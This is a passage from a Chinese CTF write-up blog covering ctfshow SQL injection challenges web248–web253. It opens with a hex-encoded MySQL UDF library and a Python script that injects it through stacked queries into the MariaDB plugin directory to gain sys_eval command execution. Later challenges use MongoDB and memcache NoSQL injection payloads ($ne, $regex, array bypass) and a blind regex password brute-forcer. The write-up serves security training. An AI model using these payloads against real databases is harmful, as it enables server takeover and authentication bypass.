0000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400 '
codes = []
for i in range(0, len(code), 128):
    codes.append(code[i:min(i + 128, len(code))])


def commit_payload(payload: str):
    requests.get(url + f'''0';{payload};-- A''')


# 第一次运行建临时表
# sql='''create table temp(data longblob)'''


# 清空临时表
commit_payload('''delete from temp''')

# 插入第一段数据
commit_payload('''insert into temp(data) values (0x{})'''.format(codes[0]))

# 更新连接剩余数据
for k in range(1, len(codes)):
    commit_payload('''update temp set data = concat(data,0x{})'''.format(codes[k]))

# 10.3.18-MariaDB
# 写入so文件
commit_payload('''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''')

# 引入自定义函数
commit_payload('''create function sys_eval returns string soname 'udf.so\'''')

# 命令执行,结果更新到界面
commit_payload(
    '''update ctfshow_user set pass=(select sys_eval('cat /flag.????'))''')

# 查看结果
r = requests.get(url[:-4] + '?page=1&limit=10')
print(r.text)

返回结果中找到 flag。

web249

//无
$user = $memcache->get($id);
      
//无过滤

无过滤的 nosql 注入,尝试 id=flag 不行,id 都是数字,尝试数组绕过得到 flag。
payload: id[]=flag

web250

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
      
//无过滤
if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
}

无过滤的 nosql 注入。
MongoDB 中的条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:  or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

故构造 $data = array("username" => array("\$ne" => 1), "password" => array("\$ne" => 1)); 绕过判断。
payload: username[$ne]=1&password[$ne]=1

web251

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
      
//无过滤
if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
}

无过滤的 nosql 注入。
继续用上一题的 payload,返回 admin 的密码,但是这次的密码里没有 flag,改成 array("$ne" => "admin") 后密码处出现 flag。
payload: username[$ne]=admin&password[$ne]=1

web252

//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
      
//无过滤
if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
}

无过滤的 nosql 注入。
继续用上一题的 payload,又出来个 admin1,同时还不能是 admin,正则绕过
payload: username[$regex]=^[^a].*&password[$ne]=1

web253

//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
      
//无过滤
if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
}

无过滤的 nosql 注入,再尝试用之前的 payload,登录成功但没有返回数据了。
脑洞 username 是 flag,username[$regex]=flag&password[$ne]=1 可以登录成功,写个脚本正则布尔盲注密码。

import string

import requests

url = "http://5ce4ea0d-afb5-4f1c-9e65-626bdaa6e433.challenge.ctf.show:8080/api/"

letters = "{}-_" + string.ascii_lowercase + string.digits


def valid_pass(password: str) -> bool:
    data = {
        "username[$regex]": "flag",
        "password[$regex]": f"{password}.*"
    }
    response = requests.post(url, data=data)
    return "登陆成功" in response.json()["msg"]


result = ""

while True:
    for letter in letters:
        if valid_pass(result + letter):
            result += letter
            print(f"[*] result: {result}")
            break

至此 sql 注入篇结束。

posted @ 2021-07-29 22:42  b477eRy  阅读(4430)  评论(0编辑  收藏  举报